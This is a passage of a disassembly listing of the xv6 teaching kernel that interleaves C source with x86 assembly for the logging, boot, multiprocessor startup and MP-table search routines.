for (tail = 0; tail < log.lh.n; tail++) {
801035e2: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801035e6: a1 c8 32 11 80 mov 0x801132c8,%eax
801035eb: 3b 45 f4 cmp -0xc(%ebp),%eax
801035ee: 0f 8f 66 ff ff ff jg 8010355a <write_log+0x12>
memmove(to->data, from->data, BSIZE);
bwrite(to); // write the log
brelse(from);
brelse(to);
}
}
801035f4: c9 leave
801035f5: c3 ret
801035f6 <commit>:
static void
commit()
{
801035f6: 55 push %ebp
801035f7: 89 e5 mov %esp,%ebp
801035f9: 83 ec 08 sub $0x8,%esp
if (log.lh.n > 0) {
801035fc: a1 c8 32 11 80 mov 0x801132c8,%eax
80103601: 85 c0 test %eax,%eax
80103603: 7e 1e jle 80103623 <commit+0x2d>
write_log(); // Write modified blocks from cache to log
80103605: e8 3e ff ff ff call 80103548 <write_log>
write_head(); // Write header to disk -- the real commit
8010360a: e8 6f fd ff ff call 8010337e <write_head>
install_trans(); // Now install writes to home locations
8010360f: e8 4d fc ff ff call 80103261 <install_trans>
log.lh.n = 0;
80103614: c7 05 c8 32 11 80 00 movl $0x0,0x801132c8
8010361b: 00 00 00
write_head(); // Erase the transaction from the log
8010361e: e8 5b fd ff ff call 8010337e <write_head>
}
}
80103623: c9 leave
80103624: c3 ret
80103625 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80103625: 55 push %ebp
80103626: 89 e5 mov %esp,%ebp
80103628: 83 ec 28 sub $0x28,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
8010362b: a1 c8 32 11 80 mov 0x801132c8,%eax
80103630: 83 f8 1d cmp $0x1d,%eax
80103633: 7f 12 jg 80103647 <log_write+0x22>
80103635: a1 c8 32 11 80 mov 0x801132c8,%eax
8010363a: 8b 15 b8 32 11 80 mov 0x801132b8,%edx
80103640: 83 ea 01 sub $0x1,%edx
80103643: 39 d0 cmp %edx,%eax
80103645: 7c 0c jl 80103653 <log_write+0x2e>
panic("too big a transaction");
80103647: c7 04 24 b3 8b 10 80 movl $0x80108bb3,(%esp)
8010364e: e8 e7 ce ff ff call 8010053a <panic>
if (log.outstanding < 1)
80103653: a1 bc 32 11 80 mov 0x801132bc,%eax
80103658: 85 c0 test %eax,%eax
8010365a: 7f 0c jg 80103668 <log_write+0x43>
panic("log_write outside of trans");
8010365c: c7 04 24 c9 8b 10 80 movl $0x80108bc9,(%esp)
80103663: e8 d2 ce ff ff call 8010053a <panic>
acquire(&log.lock);
80103668: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
8010366f: e8 ef 1b 00 00 call 80105263 <acquire>
for (i = 0; i < log.lh.n; i++) {
80103674: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010367b: eb 1f jmp 8010369c <log_write+0x77>
if (log.lh.sector[i] == b->sector) // log absorbtion
8010367d: 8b 45 f4 mov -0xc(%ebp),%eax
80103680: 83 c0 10 add $0x10,%eax
80103683: 8b 04 85 8c 32 11 80 mov -0x7feecd74(,%eax,4),%eax
8010368a: 89 c2 mov %eax,%edx
8010368c: 8b 45 08 mov 0x8(%ebp),%eax
8010368f: 8b 40 08 mov 0x8(%eax),%eax
80103692: 39 c2 cmp %eax,%edx
80103694: 75 02 jne 80103698 <log_write+0x73>
break;
80103696: eb 0e jmp 801036a6 <log_write+0x81>
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80103698: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010369c: a1 c8 32 11 80 mov 0x801132c8,%eax
801036a1: 3b 45 f4 cmp -0xc(%ebp),%eax
801036a4: 7f d7 jg 8010367d <log_write+0x58>
if (log.lh.sector[i] == b->sector) // log absorbtion
break;
}
log.lh.sector[i] = b->sector;
801036a6: 8b 45 08 mov 0x8(%ebp),%eax
801036a9: 8b 40 08 mov 0x8(%eax),%eax
801036ac: 8b 55 f4 mov -0xc(%ebp),%edx
801036af: 83 c2 10 add $0x10,%edx
801036b2: 89 04 95 8c 32 11 80 mov %eax,-0x7feecd74(,%edx,4)
if (i == log.lh.n)
801036b9: a1 c8 32 11 80 mov 0x801132c8,%eax
801036be: 3b 45 f4 cmp -0xc(%ebp),%eax
801036c1: 75 0d jne 801036d0 <log_write+0xab>
log.lh.n++;
801036c3: a1 c8 32 11 80 mov 0x801132c8,%eax
801036c8: 83 c0 01 add $0x1,%eax
801036cb: a3 c8 32 11 80 mov %eax,0x801132c8
b->flags |= B_DIRTY; // prevent eviction
801036d0: 8b 45 08 mov 0x8(%ebp),%eax
801036d3: 8b 00 mov (%eax),%eax
801036d5: 83 c8 04 or $0x4,%eax
801036d8: 89 c2 mov %eax,%edx
801036da: 8b 45 08 mov 0x8(%ebp),%eax
801036dd: 89 10 mov %edx,(%eax)
release(&log.lock);
801036df: c7 04 24 80 32 11 80 movl $0x80113280,(%esp)
801036e6: e8 da 1b 00 00 call 801052c5 <release>
}
801036eb: c9 leave
801036ec: c3 ret
801036ed: 66 90 xchg %ax,%ax
801036ef: 90 nop
801036f0 <v2p>:
801036f0: 55 push %ebp
801036f1: 89 e5 mov %esp,%ebp
801036f3: 8b 45 08 mov 0x8(%ebp),%eax
801036f6: 05 00 00 00 80 add $0x80000000,%eax
801036fb: 5d pop %ebp
801036fc: c3 ret
801036fd <p2v>:
static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); }
801036fd: 55 push %ebp
801036fe: 89 e5 mov %esp,%ebp
80103700: 8b 45 08 mov 0x8(%ebp),%eax
80103703: 05 00 00 00 80 add $0x80000000,%eax
80103708: 5d pop %ebp
80103709: c3 ret
8010370a <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
8010370a: 55 push %ebp
8010370b: 89 e5 mov %esp,%ebp
8010370d: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80103710: 8b 55 08 mov 0x8(%ebp),%edx
80103713: 8b 45 0c mov 0xc(%ebp),%eax
80103716: 8b 4d 08 mov 0x8(%ebp),%ecx
80103719: f0 87 02 lock xchg %eax,(%edx)
8010371c: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
8010371f: 8b 45 fc mov -0x4(%ebp),%eax
}
80103722: c9 leave
80103723: c3 ret
80103724 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
80103724: 55 push %ebp
80103725: 89 e5 mov %esp,%ebp
80103727: 83 e4 f0 and $0xfffffff0,%esp
8010372a: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
8010372d: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80103734: 80
80103735: c7 04 24 5c 63 11 80 movl $0x8011635c,(%esp)
8010373c: e8 7c f2 ff ff call 801029bd <kinit1>
kvmalloc(); // kernel page table
80103741: e8 a0 4a 00 00 call 801081e6 <kvmalloc>
mpinit(); // collect info about this machine
80103746: e8 47 04 00 00 call 80103b92 <mpinit>
lapicinit();
8010374b: e8 d8 f5 ff ff call 80102d28 <lapicinit>
seginit(); // set up segments
80103750: e8 24 44 00 00 call 80107b79 <seginit>
cprintf("\ncpu%d: starting xv6\n\n", cpu->id);
80103755: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010375b: 0f b6 00 movzbl (%eax),%eax
8010375e: 0f b6 c0 movzbl %al,%eax
80103761: 89 44 24 04 mov %eax,0x4(%esp)
80103765: c7 04 24 e4 8b 10 80 movl $0x80108be4,(%esp)
8010376c: e8 2f cc ff ff call 801003a0 <cprintf>
picinit(); // interrupt controller
80103771: e8 7d 06 00 00 call 80103df3 <picinit>
ioapicinit(); // another interrupt controller
80103776: e8 36 f1 ff ff call 801028b1 <ioapicinit>
consoleinit(); // I/O devices & their interrupts
8010377b: e8 01 d3 ff ff call 80100a81 <consoleinit>
uartinit(); // serial port
80103780: e8 3e 37 00 00 call 80106ec3 <uartinit>
pinit(); // process table
80103785: e8 92 0b 00 00 call 8010431c <pinit>
tvinit(); // trap vectors
8010378a: e8 e3 32 00 00 call 80106a72 <tvinit>
binit(); // buffer cache
8010378f: e8 a0 c8 ff ff call 80100034 <binit>
fileinit(); // file table
80103794: e8 73 d7 ff ff call 80100f0c <fileinit>
iinit(); // inode cache
80103799: e8 09 de ff ff call 801015a7 <iinit>
ideinit(); // disk
8010379e: e8 76 ed ff ff call 80102519 <ideinit>
if(!ismp)
801037a3: a1 64 33 11 80 mov 0x80113364,%eax
801037a8: 85 c0 test %eax,%eax
801037aa: 75 05 jne 801037b1 <main+0x8d>
timerinit(); // uniprocessor timer
801037ac: e8 09 32 00 00 call 801069ba <timerinit>
startothers(); // start other processors
801037b1: e8 7f 00 00 00 call 80103835 <startothers>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
801037b6: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
801037bd: 8e
801037be: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
801037c5: e8 2b f2 ff ff call 801029f5 <kinit2>
userinit(); // first user process
801037ca: e8 6b 0c 00 00 call 8010443a <userinit>
// Finish setting up this processor in mpmain.
mpmain();
801037cf: e8 1a 00 00 00 call 801037ee <mpmain>
801037d4 <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
801037d4: 55 push %ebp
801037d5: 89 e5 mov %esp,%ebp
801037d7: 83 ec 08 sub $0x8,%esp
switchkvm();
801037da: e8 1e 4a 00 00 call 801081fd <switchkvm>
seginit();
801037df: e8 95 43 00 00 call 80107b79 <seginit>
lapicinit();
801037e4: e8 3f f5 ff ff call 80102d28 <lapicinit>
mpmain();
801037e9: e8 00 00 00 00 call 801037ee <mpmain>
801037ee <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
801037ee: 55 push %ebp
801037ef: 89 e5 mov %esp,%ebp
801037f1: 83 ec 18 sub $0x18,%esp
cprintf("cpu%d: starting\n", cpu->id);
801037f4: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801037fa: 0f b6 00 movzbl (%eax),%eax
801037fd: 0f b6 c0 movzbl %al,%eax
80103800: 89 44 24 04 mov %eax,0x4(%esp)
80103804: c7 04 24 fb 8b 10 80 movl $0x80108bfb,(%esp)
8010380b: e8 90 cb ff ff call 801003a0 <cprintf>
idtinit(); // load idt register
80103810: e8 d1 33 00 00 call 80106be6 <idtinit>
xchg(&cpu->started, 1); // tell startothers() we're up
80103815: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010381b: 05 a8 00 00 00 add $0xa8,%eax
80103820: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80103827: 00
80103828: 89 04 24 mov %eax,(%esp)
8010382b: e8 da fe ff ff call 8010370a <xchg>
scheduler(); // start running processes
80103830: e8 ae 15 00 00 call 80104de3 <scheduler>
80103835 <startothers>:
pde_t entrypgdir[]; // For entry.S
// Start the non-boot (AP) processors.
static void
startothers(void)
{
80103835: 55 push %ebp
80103836: 89 e5 mov %esp,%ebp
80103838: 53 push %ebx
80103839: 83 ec 24 sub $0x24,%esp
char *stack;
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = p2v(0x7000);
8010383c: c7 04 24 00 70 00 00 movl $0x7000,(%esp)
80103843: e8 b5 fe ff ff call 801036fd <p2v>
80103848: 89 45 f0 mov %eax,-0x10(%ebp)
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
8010384b: b8 8a 00 00 00 mov $0x8a,%eax
80103850: 89 44 24 08 mov %eax,0x8(%esp)
80103854: c7 44 24 04 2c c5 10 movl $0x8010c52c,0x4(%esp)
8010385b: 80
8010385c: 8b 45 f0 mov -0x10(%ebp),%eax
8010385f: 89 04 24 mov %eax,(%esp)
80103862: e8 22 1d 00 00 call 80105589 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80103867: c7 45 f4 80 33 11 80 movl $0x80113380,-0xc(%ebp)
8010386e: e9 85 00 00 00 jmp 801038f8 <startothers+0xc3>
if(c == cpus+cpunum()) // We've started already.
80103873: e8 09 f6 ff ff call 80102e81 <cpunum>
80103878: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
8010387e: 05 80 33 11 80 add $0x80113380,%eax
80103883: 3b 45 f4 cmp -0xc(%ebp),%eax
80103886: 75 02 jne 8010388a <startothers+0x55>
continue;
80103888: eb 67 jmp 801038f1 <startothers+0xbc>
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
8010388a: e8 5c f2 ff ff call 80102aeb <kalloc>
8010388f: 89 45 ec mov %eax,-0x14(%ebp)
*(void**)(code-4) = stack + KSTACKSIZE;
80103892: 8b 45 f0 mov -0x10(%ebp),%eax
80103895: 83 e8 04 sub $0x4,%eax
80103898: 8b 55 ec mov -0x14(%ebp),%edx
8010389b: 81 c2 00 10 00 00 add $0x1000,%edx
801038a1: 89 10 mov %edx,(%eax)
*(void**)(code-8) = mpenter;
801038a3: 8b 45 f0 mov -0x10(%ebp),%eax
801038a6: 83 e8 08 sub $0x8,%eax
801038a9: c7 00 d4 37 10 80 movl $0x801037d4,(%eax)
*(int**)(code-12) = (void *) v2p(entrypgdir);
801038af: 8b 45 f0 mov -0x10(%ebp),%eax
801038b2: 8d 58 f4 lea -0xc(%eax),%ebx
801038b5: c7 04 24 00 b0 10 80 movl $0x8010b000,(%esp)
801038bc: e8 2f fe ff ff call 801036f0 <v2p>
801038c1: 89 03 mov %eax,(%ebx)
lapicstartap(c->id, v2p(code));
801038c3: 8b 45 f0 mov -0x10(%ebp),%eax
801038c6: 89 04 24 mov %eax,(%esp)
801038c9: e8 22 fe ff ff call 801036f0 <v2p>
801038ce: 8b 55 f4 mov -0xc(%ebp),%edx
801038d1: 0f b6 12 movzbl (%edx),%edx
801038d4: 0f b6 d2 movzbl %dl,%edx
801038d7: 89 44 24 04 mov %eax,0x4(%esp)
801038db: 89 14 24 mov %edx,(%esp)
801038de: e8 20 f6 ff ff call 80102f03 <lapicstartap>
// wait for cpu to finish mpmain()
while(c->started == 0)
801038e3: 90 nop
801038e4: 8b 45 f4 mov -0xc(%ebp),%eax
801038e7: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
801038ed: 85 c0 test %eax,%eax
801038ef: 74 f3 je 801038e4 <startothers+0xaf>
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = p2v(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
801038f1: 81 45 f4 bc 00 00 00 addl $0xbc,-0xc(%ebp)
801038f8: a1 60 39 11 80 mov 0x80113960,%eax
801038fd: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80103903: 05 80 33 11 80 add $0x80113380,%eax
80103908: 3b 45 f4 cmp -0xc(%ebp),%eax
8010390b: 0f 87 62 ff ff ff ja 80103873 <startothers+0x3e>
// wait for cpu to finish mpmain()
while(c->started == 0)
;
}
}
80103911: 83 c4 24 add $0x24,%esp
80103914: 5b pop %ebx
80103915: 5d pop %ebp
80103916: c3 ret
80103917: 90 nop
80103918 <p2v>:
80103918: 55 push %ebp
80103919: 89 e5 mov %esp,%ebp
8010391b: 8b 45 08 mov 0x8(%ebp),%eax
8010391e: 05 00 00 00 80 add $0x80000000,%eax
80103923: 5d pop %ebp
80103924: c3 ret
80103925 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80103925: 55 push %ebp
80103926: 89 e5 mov %esp,%ebp
80103928: 83 ec 14 sub $0x14,%esp
8010392b: 8b 45 08 mov 0x8(%ebp),%eax
8010392e: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103932: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80103936: 89 c2 mov %eax,%edx
80103938: ec in (%dx),%al
80103939: 88 45 ff mov %al,-0x1(%ebp)
return data;
8010393c: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80103940: c9 leave
80103941: c3 ret
80103942 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80103942: 55 push %ebp
80103943: 89 e5 mov %esp,%ebp
80103945: 83 ec 08 sub $0x8,%esp
80103948: 8b 55 08 mov 0x8(%ebp),%edx
8010394b: 8b 45 0c mov 0xc(%ebp),%eax
8010394e: 66 89 55 fc mov %dx,-0x4(%ebp)
80103952: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103955: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80103959: 0f b7 55 fc movzwl -0x4(%ebp),%edx
8010395d: ee out %al,(%dx)
}
8010395e: c9 leave
8010395f: c3 ret
80103960 <mpbcpu>:
int ncpu;
uchar ioapicid;
int
mpbcpu(void)
{
80103960: 55 push %ebp
80103961: 89 e5 mov %esp,%ebp
return bcpu-cpus;
80103963: a1 64 c6 10 80 mov 0x8010c664,%eax
80103968: 89 c2 mov %eax,%edx
8010396a: b8 80 33 11 80 mov $0x80113380,%eax
8010396f: 29 c2 sub %eax,%edx
80103971: 89 d0 mov %edx,%eax
80103973: c1 f8 02 sar $0x2,%eax
80103976: 69 c0 cf 46 7d 67 imul $0x677d46cf,%eax,%eax
}
8010397c: 5d pop %ebp
8010397d: c3 ret
8010397e <sum>:
static uchar
sum(uchar *addr, int len)
{
8010397e: 55 push %ebp
8010397f: 89 e5 mov %esp,%ebp
80103981: 83 ec 10 sub $0x10,%esp
int i, sum;
sum = 0;
80103984: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
for(i=0; i<len; i++)
8010398b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80103992: eb 15 jmp 801039a9 <sum+0x2b>
sum += addr[i];
80103994: 8b 55 fc mov -0x4(%ebp),%edx
80103997: 8b 45 08 mov 0x8(%ebp),%eax
8010399a: 01 d0 add %edx,%eax
8010399c: 0f b6 00 movzbl (%eax),%eax
8010399f: 0f b6 c0 movzbl %al,%eax
801039a2: 01 45 f8 add %eax,-0x8(%ebp)
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801039a5: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801039a9: 8b 45 fc mov -0x4(%ebp),%eax
801039ac: 3b 45 0c cmp 0xc(%ebp),%eax
801039af: 7c e3 jl 80103994 <sum+0x16>
sum += addr[i];
return sum;
801039b1: 8b 45 f8 mov -0x8(%ebp),%eax
}
801039b4: c9 leave
801039b5: c3 ret
801039b6 <mpsearch1>:
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
801039b6: 55 push %ebp
801039b7: 89 e5 mov %esp,%ebp
801039b9: 83 ec 28 sub $0x28,%esp
uchar *e, *p, *addr;
addr = p2v(a);
801039bc: 8b 45 08 mov 0x8(%ebp),%eax
801039bf: 89 04 24 mov %eax,(%esp)
801039c2: e8 51 ff ff ff call 80103918 <p2v>
801039c7: 89 45 f0 mov %eax,-0x10(%ebp)
e = addr+len;
801039ca: 8b 55 0c mov 0xc(%ebp),%edx
801039cd: 8b 45 f0 mov -0x10(%ebp),%eax
801039d0: 01 d0 add %edx,%eax
801039d2: 89 45 ec mov %eax,-0x14(%ebp)
for(p = addr; p < e; p += sizeof(struct mp))
801039d5: 8b 45 f0 mov -0x10(%ebp),%eax
801039d8: 89 45 f4 mov %eax,-0xc(%ebp)
801039db: eb 3f jmp 80103a1c <mpsearch1+0x66>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
801039dd: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
801039e4: 00
801039e5: c7 44 24 04 0c 8c 10 movl $0x80108c0c,0x4(%esp)
801039ec: 80
801039ed: 8b 45 f4 mov -0xc(%ebp),%eax
801039f0: 89 04 24 mov %eax,(%esp)
801039f3: e8 39 1b 00 00 call 80105531 <memcmp>
801039f8: 85 c0 test %eax,%eax
801039fa: 75 1c jne 80103a18 <mpsearch1+0x62>
801039fc: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
80103a03: 00
80103a04: 8b 45 f4 mov -0xc(%ebp),%eax
80103a07: 89 04 24 mov %eax,(%esp)
80103a0a: e8 6f ff ff ff call 8010397e <sum>
80103a0f: 84 c0 test %al,%al
80103a11: 75 05 jne 80103a18 <mpsearch1+0x62>
return (struct mp*)p;
80103a13: 8b 45 f4 mov -0xc(%ebp),%eax
80103a16: eb 11 jmp 80103a29 <mpsearch1+0x73>
{
uchar *e, *p, *addr;
addr = p2v(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80103a18: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80103a1c: 8b 45 f4 mov -0xc(%ebp),%eax
80103a1f: 3b 45 ec cmp -0x14(%ebp),%eax
80103a22: 72 b9 jb 801039dd <mpsearch1+0x27>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80103a24: b8 00 00 00 00 mov $0x0,%eax
}
80103a29: c9 leave
80103a2a: c3 ret
80103a2b <mpsearch>:
// 1) in the first KB of the EBDA;
// 2) in the last KB of system base memory;
// 3) in the BIOS ROM between 0xE0000 and 0xFFFFF.
static struct mp*
mpsearch(void)
{
80103a2b: 55 push %ebp
80103a2c: 89 e5 mov %esp,%ebp
80103a2e: 83 ec 28 sub $0x28,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
80103a31: c7 45 f4 00 04 00 80 movl $0x80000400,-0xc(%ebp)
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103a38: 8b 45 f4 mov -0xc(%ebp),%eax
80103a3b: 83 c0 0f add $0xf,%eax
80103a3e: 0f b6 00 movzbl (%eax),%eax
80103a41: 0f b6 c0 movzbl %al,%eax
80103a44: c1 e0 08 shl $0x8,%eax
80103a47: 89 c2 mov %eax,%edx
80103a49: 8b 45 f4 mov -0xc(%ebp),%eax
80103a4c: 83 c0 0e add $0xe,%eax
80103a4f: 0f b6 00 movzbl (%eax),%eax
80103a52: 0f b6 c0 movzbl %al,%eax
80103a55: 09 d0 or %edx,%eax
80103a57: c1 e0 04 shl $0x4,%eax
80103a5a: 89 45 f0 mov %eax,-0x10(%ebp)
80103a5d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103a61: 74 21 je 80103a84 <mpsearch+0x59>
if((mp = mpsearch1(p, 1024)))
80103a63: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103a6a: 00
80103a6b: 8b 45 f0 mov -0x10(%ebp),%eax
80103a6e: 89 04 24 mov %eax,(%esp)
80103a71: e8 40 ff ff ff call 801039b6 <mpsearch1>
80103a76: 89 45 ec mov %eax,-0x14(%ebp)
80103a79: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103a7d: 74 50 je 80103acf <mpsearch+0xa4>
return mp;
80103a7f: 8b 45 ec mov -0x14(%ebp),%eax
80103a82: eb 5f jmp 80103ae3 <mpsearch+0xb8>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103a84: 8b 45 f4 mov -0xc(%ebp),%eax
80103a87: 83 c0 14 add $0x14,%eax
80103a8a: 0f b6 00 movzbl (%eax),%eax
80103a8d: 0f b6 c0 movzbl %al,%eax
80103a90: c1 e0 08 shl $0x8,%eax
80103a93: 89 c2 mov %eax,%edx
80103a95: 8b 45 f4 mov -0xc(%ebp),%eax
80103a98: 83 c0 13 add $0x13,%eax
80103a9b: 0f b6 00 movzbl (%eax),%eax
80103a9e: 0f b6 c0 movzbl %al,%eax
80103aa1: 09 d0 or %edx,%eax
80103aa3: c1 e0 0a shl $0xa,%eax
80103aa6: 89 45 f0 mov %eax,-0x10(%ebp)
if((mp = mpsearch1(p-1024, 1024)))
80103aa9: 8b 45 f0 mov -0x10(%ebp),%eax
80103aac: 2d 00 04 00 00 sub $0x400,%eax
80103ab1: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103ab8: 00
80103ab9: 89 04 24 mov %eax,(%esp)
80103abc: e8 f5 fe ff ff call 801039b6 <mpsearch1>
80103ac1: 89 45 ec mov %eax,-0x14(%ebp)
80103ac4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103ac8: 74 05 je 80103acf <mpsearch+0xa4>
return mp;
80103aca: 8b 45 ec mov -0x14(%ebp),%eax
80103acd: eb 14 jmp 80103ae3 <mpsearch+0xb8>
}
return mpsearch1(0xF0000, 0x10000);
80103acf: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80103ad6: 00
80103ad7: c7 04 24 00 00 0f 00 movl $0xf0000,(%esp)
80103ade: e8 d3 fe ff ff call 801039b6 <mpsearch1>
}
80103ae3: c9 leave
80103ae4: c3 ret
80103ae5 <mpconfig>:
// Check for correct signature, calculate the checksum and,
// if correct, check the version.
// To do: check extended table checksum.
static struct mpconf*
mpconfig(struct mp **pmp)
{
80103ae5: 55 push %ebp
80103ae6: 89 e5 mov %esp,%ebp
80103ae8: 83 ec 28 sub $0x28,%esp
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103aeb: e8 3b ff ff ff call 80103a2b <mpsearch>
80103af0: 89 45 f4 mov %eax,-0xc(%ebp)
80103af3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103af7: 74 0a je 80103b03 <mpconfig+0x1e>
80103af9: 8b 45 f4 mov -0xc(%ebp),%eax
80103afc: 8b 40 04 mov 0x4(%eax),%eax
80103aff: 85 c0 test %eax,%eax
80103b01: 75 0a jne 80103b0d <mpconfig+0x28>
return 0;
80103b03: b8 00 00 00 00 mov $0x0,%eax
80103b08: e9 83 00 00 00 jmp 80103b90 <mpconfig+0xab>
conf = (struct mpconf*) p2v((uint) mp->physaddr);
80103b0d: 8b 45 f4 mov -0xc(%ebp),%eax
80103b10: 8b 40 04 mov 0x4(%eax),%eax
80103b13: 89 04 24 mov %eax,(%esp)
80103b16: e8 fd fd ff ff call 80103918 <p2v>
80103b1b: 89 45 f0 mov %eax,-0x10(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
80103b1e: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80103b25: 00
80103b26: c7 44 24 04 11 8c 10 movl $0x80108c11,0x4(%esp)
80103b2d: 80
80103b2e: 8b 45 f0 mov -0x10(%ebp),%eax
80103b31: 89 04 24 mov %eax,(%esp)
80103b34: e8 f8 19 00 00 call 80105531 <memcmp>
80103b39: 85 c0 test %eax,%eax
80103b3b: 74 07 je 80103b44 <mpconfig+0x5f>
return 0;
80103b3d: b8 00 00 00 00 mov $0x0,%eax
80103b42: eb 4c jmp 80103b90 <mpconfig+0xab>
if(conf->version != 1 && conf->version != 4)
80103b44: 8b 45 f0 mov -0x10(%ebp),%eax
80103b47: 0f b6 40 06 movzbl 0x6(%eax),%eax
80103b4b: 3c 01 cmp $0x1,%al
80103b4d: 74 12 je 80103b61 <mpconfig+0x7c>
80103b4f: 8b 45 f0 mov -0x10(%ebp),%eax
80103b52: 0f b6 40 06 movzbl 0x6(%eax),%eax
80103b56: 3c 04 cmp $0x4,%al
80103b58: 74 07 je 80103b61 <mpconfig+0x7c>
return 0;
80103b5a: b8 00 00 00 00 mov $0x0,%eax
80103b5f: eb 2f jmp 80103b90 <mpconfig+0xab>
if(sum((uchar*)conf, conf->length) != 0)
80103b61: 8b 45 f0 mov -0x10(%ebp),%eax
80103b64: 0f b7 40 04 movzwl 0x4(%eax),%eax
80103b68: 0f b7 c0 movzwl %ax,%eax
80103b6b: 89 44 24 04 mov %eax,0x4(%esp)
80103b6f: 8b 45 f0 mov -0x10(%ebp),%eax
80103b72: 89 04 24 mov %eax,(%esp)
80103b75: e8 04 fe ff ff call 8010397e <sum>
80103b7a: 84 c0 test %al,%al
80103b7c: 74 07 je 80103b85 <mpconfig+0xa0>
return 0;
80103b7e: b8 00 00 00 00 mov $0x0,%eax
80103b83: eb 0b jmp 80103b90 <mpconfig+0xab>
*pmp = mp;
80103b85: 8b 45 08 mov 0x8(%ebp),%eax
80103b88: 8b 55 f4 mov -0xc(%ebp),%edx
80103b8b: 89 10 mov %edx,(%eax)
return conf;
80103b8d: 8b 45 f0 mov -0x10(%ebp),%eax
}
80103b90: c9 leave
80103b91: c3 ret
80103b92 <mpinit>:
void
mpinit(void)
{
80103b92: 55 push %ebp
80103b93: 89 e5 mov %esp,%ebp
80103b95: 83 ec 38 sub $0x38,%esp
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
bcpu = &cpus[0];
80103b98: c7 05 64 c6 10 80 80 movl $0x80113380,0x8010c664
80103b9f: 33 11 80
if((conf = mpconfig(&mp)) == 0)
80103ba2: 8d 45 e0 lea -0x20(%ebp),%eax
80103ba5: 89 04 24 mov %eax,(%esp)
80103ba8: e8 38 ff ff ff call 80103ae5 <mpconfig>
80103bad: 89 45 f0 mov %eax,-0x10(%ebp)
80103bb0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103bb4: 75 05 jne 80103bbb <mpinit+0x29>
return;
80103bb6: e9 9c 01 00 00 jmp 80103d57 <mpinit+0x1c5>
ismp = 1;
80103bbb: c7 05 64 33 11 80 01 movl $0x1,0x80113364
